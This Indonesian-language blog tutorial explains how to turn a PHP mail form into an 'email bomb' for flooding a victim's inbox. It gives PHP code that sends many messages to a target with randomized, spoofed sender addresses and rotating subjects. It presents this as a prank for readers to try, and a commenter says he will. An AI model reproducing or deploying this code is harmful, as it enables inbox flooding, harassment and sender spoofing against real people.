Bomb Email dangan Menggunakan PHP

Share/Bookmark

Setelah menulis artikel Mengirimkan Email dengan PHP Buatan Sendiri, terbesit dalam pikiran untuk melakukan keisengan. Keisengan tersebut adalah membuat bomb email. Maksud dari bomb email ini bukan seperti bomb buku atau bomb yang lain yang terdapat pada dunia nyata, melainkan menyerang email orang lain dengan cara mengirimkan email dengan jumlah banyak. Bisa juga sih disebut spam email. Kita tetap akan menggunakan script pada artikel sebelumnya, namun terdapat sedikit perubahan. Salah satunya, kita tidak hanya mengirim menggunakan satu nama user dan satu domain, melainkan banyak user dan banyak domain cool boy

Ok, sebelum kita mulai, maka sebaiknya anda mendownload dulu file kirim email disini agar lebih memudahkan dalam pembuatan bomb email ini. Setelah anda berhasil mendownload file tersebut, maka yang harus kita perhatikan hanya 2 buah file. Yang pertama adalah file index.php dan file lainya adalah captcha.php yang terdapat pada folder captcha. Pertama-tama kita akan ubah file index.php terlebih dahulu. Di dalam file index.php ini, hanya terdapat form, dan kita hanya menambah sebuah text field, yakni Domain email pengirim. Text field ini berfungsi untuk membuat nama domain pengirim (ex: ...@nama.com). Tambahkan script berikut ini untuk memudahkan.
<tr>
<td valign="top">Domain email pengirim</td>
<td valign="top">:</td>
<td>nama_acak@<input type="text" name="dom"/>.com/.us/.net<br>akan dikirim sebagai .com/.us/.net (total ada 3)</td>
</tr>

Jika sudah, sekarang kita beralih ke file captcha.php yang terletak pada folder captcha. Buka file tersebut lalu ubah dan tambah beberapa script.
  • Cari potongan script berikut ini dan letakkan pada baris pertama setelah script "<?php" file tersebut.
    session_start();
  • Setelah itu, letakkan potongan script berikut dibawah script sebelumnya.
    $dom=$_POST['dom'];
    $domain = array('com', 'net', 'us');
    $dom=$_POST['dom']; berfungsi untuk memanggil value yang telah diisi pada form.
    $domain = array('com', 'net', 'us'); berfungsi membuat top-level domain yang dibuat array, pada kasus ini, top-level yang dipakai yakni com,net dan us.
  • Selanjutnya, cari potongan script berikut ini.
    if(isset($_POST['sendto'])&&isset($_POST['subject'])&&isset($_POST['isi']) ){
    dan
    }
    echo "Your Message Has Been Send";
    lalu hapus potongan script yang ada diantara kedua potongan script di atas. Setelah dihapus, ganti dengan script berikut.
    foreach ($domain as $color) {

    $k=rand();
    $subject = explode("|",$_POST['subject']);
    $jml = count($subject);
    $rand_keys = array_rand($subject,$jml);
    $y=rand(0, $jml-1);
    if($x!=$y){
    $x=$y;
    }
    else{
    $x=rand(0, $jml-1);
    }

    $hasil=$subject[$rand_keys[$x]];
    $to = $_POST['sendto'];
    $subject = $hasil;
    $message = $_POST['isi'];
    $headers = 'From: '."$k@$dom.$color \r\n" .
    'Reply-To: '. "$k@$dom.$color \r\n" .
    'X-Mailer: PHP/' . phpversion();

    $mail_sent = @mail( $to, $subject, $message, $headers );
    }

    //Dikarenak penjelasan cukup panjang pada script di atas, maka jika ada yang ditanyakan silahkan melalui komentar artikel ini.
Mudah bukan? Sekarang giliran anda mencoba. Semoga berhasil.

DEMO.

1 Komentar:


Komentar anda sangat berguna bagi kemajuan blog ini.
soeqee said...

mantep....coba dulu gan..

Post a Comment

Xinthinx Blog Tutorial © 2008 Template by Dicas Blogger, emoticon from Yahoo! and KASKUS.

TOPO